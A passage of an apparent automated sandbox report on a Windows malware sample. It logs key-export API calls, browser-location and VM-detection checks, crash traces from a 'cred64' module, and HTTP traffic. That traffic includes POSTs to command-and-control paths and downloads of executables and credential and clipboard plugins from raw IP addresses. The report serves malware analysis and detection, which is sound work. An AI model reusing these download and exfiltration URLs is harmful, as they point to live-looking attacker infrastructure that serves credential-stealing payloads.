CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9b08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9b08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9a88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9b48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9b48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008f9d08 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008fa308 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008fa308 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008fa188 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d56f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d56f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d56f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d56f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5778 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5778 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5678 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5738 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d5938 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d6078 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Feb. 19, 2023, 2:02 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x008d6078 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Tries to locate where the browsers are installed (4 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\firefox.exe

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Feb. 19, 2023, 2:01 p.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

One or more processes crashed (9 events)

Time & API	Arguments	Status
__exception__ Feb. 19, 2023, 2:01 p.m.	stacktrace: 0x8f3cac 0x8f3bce 0x8f24dd 0x8f20b6 0x8f05a0 0x8f006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72ee2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x72fa74ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72fa7610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x73031dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x73031e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x73031f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7303416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x8f3da0 registers.esp: 3338360 registers.edi: 3338412 registers.eax: 0 registers.ebp: 3338424 registers.edx: 6039888 registers.ebx: 3339316 registers.esi: 42005808 registers.ecx: 0	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: 0x993df4 0x993d16 0x99248b 0x9920b6 0x9905a0 0x99006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72842652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7285264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72852e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72907610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72991dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72991e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72991f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7299416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x993ee8 registers.esp: 1830804 registers.edi: 1830856 registers.eax: 0 registers.ebp: 1830868 registers.edx: 9255696 registers.ebx: 1831724 registers.esi: 44770180 registers.ecx: 0	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: 0xbb74ec 0xbb740e 0xbb24dd 0xbb20b6 0xbb05a0 0xbb006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72862652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7287264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72872e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729274ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72927610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x729b1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x729b1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x729b1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x729b416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xbb75e0 registers.esp: 2157576 registers.edi: 2157628 registers.eax: 0 registers.ebp: 2157640 registers.edx: 9203744 registers.ebx: 2158524 registers.esi: 41444732 registers.ecx: 0	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: 0x783bc4 0x783ae6 0x78248b 0x7820b6 0x7805a0 0x78006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72862652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7287264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72872e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729274ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72927610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x729b1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x729b1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x729b1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x729b416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x783cb8 registers.esp: 5761748 registers.edi: 5761800 registers.eax: 0 registers.ebp: 5761812 registers.edx: 4008272 registers.ebx: 5762668 registers.esi: 42988560 registers.ecx: 0	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72a11194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x728e2ba1 mscorlib+0x36dd36 @ 0x71c0dd36 mscorlib+0x32fea6 @ 0x71bcfea6 mscorlib+0x30ab40 @ 0x71baab40 0x55d17a2 0x55d8764 0x55d7ee1 0x55d736e 0x787752 0x7824d5 0x7820b6 0x7805a0 0x78006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72862652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7287264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72872e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729274ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72927610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x729b1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x729b1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x729b1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x729b416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 5760792 registers.edi: 0 registers.eax: 5760792 registers.ebp: 5760872 registers.edx: 0 registers.ebx: 3991048 registers.esi: 4008272 registers.ecx: 1001821059	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72a11194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x728e2ba1 mscorlib+0x36dd51 @ 0x71c0dd51 mscorlib+0x32fea6 @ 0x71bcfea6 mscorlib+0x30ab40 @ 0x71baab40 0x55d17a2 0x55d8764 0x55d7ee1 0x55d736e 0x787752 0x7824d5 0x7820b6 0x7805a0 0x78006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72862652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7287264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72872e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x729274ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72927610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x729b1dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x729b1e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x729b1f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x729b416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 5760792 registers.edi: 0 registers.eax: 5760792 registers.ebp: 5760872 registers.edx: 0 registers.ebx: 3991048 registers.esi: 4008272 registers.ecx: 1001821059	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: 0xc775f4 0xc77516 0xc724dd 0xc720b6 0xc705a0 0xc7006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x721c2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x721d264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x721d2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x722874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72287610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72311dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72311e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72311f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7231416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 8b 01 8b 40 28 ff 10 89 45 c8 8b 45 c8 89 45 c4 exception.instruction: mov eax, dword ptr [ecx] exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0xc776e8 registers.esp: 2683320 registers.edi: 2683372 registers.eax: 0 registers.ebp: 2683384 registers.edx: 6957392 registers.ebx: 2684276 registers.esi: 41840460 registers.ecx: 0	1
__exception__ Feb. 19, 2023, 2:02 p.m.	stacktrace: CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x72371194 LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x72242ba1 mscorlib+0x36dd51 @ 0x7156dd51 mscorlib+0x32fea6 @ 0x7152fea6 mscorlib+0x30ab40 @ 0x7150ab40 0xc7d4ea 0xc7d3dd 0xc7cb59 0xc7bf7e 0xc77c87 0xc725a5 0xc720b6 0xc705a0 0xc7006c DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x721c2652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x721d264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x721d2e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x722874ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72287610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72311dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72311e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72311f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7231416a _CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x73dbf5a3 CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x73fa7f16 _CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x73fa4de3 RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xe0434f4e exception.offset: 46887 exception.address: 0x7559b727 registers.esp: 2682332 registers.edi: 0 registers.eax: 2682332 registers.ebp: 2682412 registers.edx: 0 registers.ebx: 6940168 registers.esi: 6957392 registers.ecx: 398751104	1
__exception__ Feb. 19, 2023, 2:03 p.m.	stacktrace: Save+0x8d733 Main-0x1371d cred64+0x91303 @ 0x7fef3261303 Save+0x8f34b Main-0x11b05 cred64+0x92f1b @ 0x7fef3262f1b Save+0x903d3 Main-0x10a7d cred64+0x93fa3 @ 0x7fef3263fa3 Save+0x9077f Main-0x106d1 cred64+0x9434f @ 0x7fef326434f Save+0xa0838 Main-0x618 cred64+0xa4408 @ 0x7fef3274408 Main+0x65 cred64+0xa4a85 @ 0x7fef3274a85 rundll32+0x2f42 @ 0xff322f42 rundll32+0x3b7a @ 0xff323b7a BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 42 38 3c 00 75 f7 48 8b d0 48 8d 4c 24 50 e8 7a exception.instruction: cmp byte ptr [rax + r8], dil exception.exception_code: 0xc0000005 exception.symbol: Save+0x8d733 Main-0x1371d cred64+0x91303 exception.address: 0x7fef3261303 registers.r14: 0 registers.r15: 0 registers.rcx: 1099511627775 registers.rsi: 0 registers.r10: 654 registers.rbx: 0 registers.rsp: 2488544 registers.r11: 2483440 registers.r8: 0 registers.r9: 236235718666 registers.rdx: 3395056 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1 registers.r13: 0	1

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (10 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://193.233.20.15/dF30Hn4m/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.16/ti/truno.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://62.204.41.245/lebro.exe
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://62.204.41.88/9vdVVVjsw/index.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://79.110.62.167/link/agent.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://62.204.41.88/lend/Underglaze.exe
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.15/dF30Hn4m/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://193.233.20.15/dF30Hn4m/Plugins/clip64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://62.204.41.88/9vdVVVjsw/Plugins/cred64.dll
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://62.204.41.88/9vdVVVjsw/Plugins/clip64.dll

Performs some HTTP requests (10 events)

request	POST http://193.233.20.15/dF30Hn4m/index.php
request	GET http://193.233.20.16/ti/truno.exe
request	GET http://62.204.41.245/lebro.exe
request	POST http://62.204.41.88/9vdVVVjsw/index.php
request	GET http://79.110.62.167/link/agent.exe
request	GET http://62.204.41.88/lend/Underglaze.exe
request	GET http://193.233.20.15/dF30Hn4m/Plugins/cred64.dll
request	GET http://193.233.20.15/dF30Hn4m/Plugins/clip64.dll
request	GET http://62.204.41.88/9vdVVVjsw/Plugins/cred64.dll
request	GET http://62.204.41.88/9vdVVVjsw/Plugins/clip64.dll

Sends data using the HTTP POST Method (2 events)

request	POST http://193.233.20.15/dF30Hn4m/index.php
request	POST http://62.204.41.88/9vdVVVjsw/index.php

Allocates read-write-execute memory (usually to unpack itself) (50 out of 585 events)

Time & API	Arguments	Status
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 1984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 1984 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2032 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2032 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2092 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2092 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fe1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74011000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2176 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73fb1000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Feb. 19, 2023, 2:01 p.m.	process_identifier: 2228 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef4033000 process_handle: 0xffffffffffffffff	1
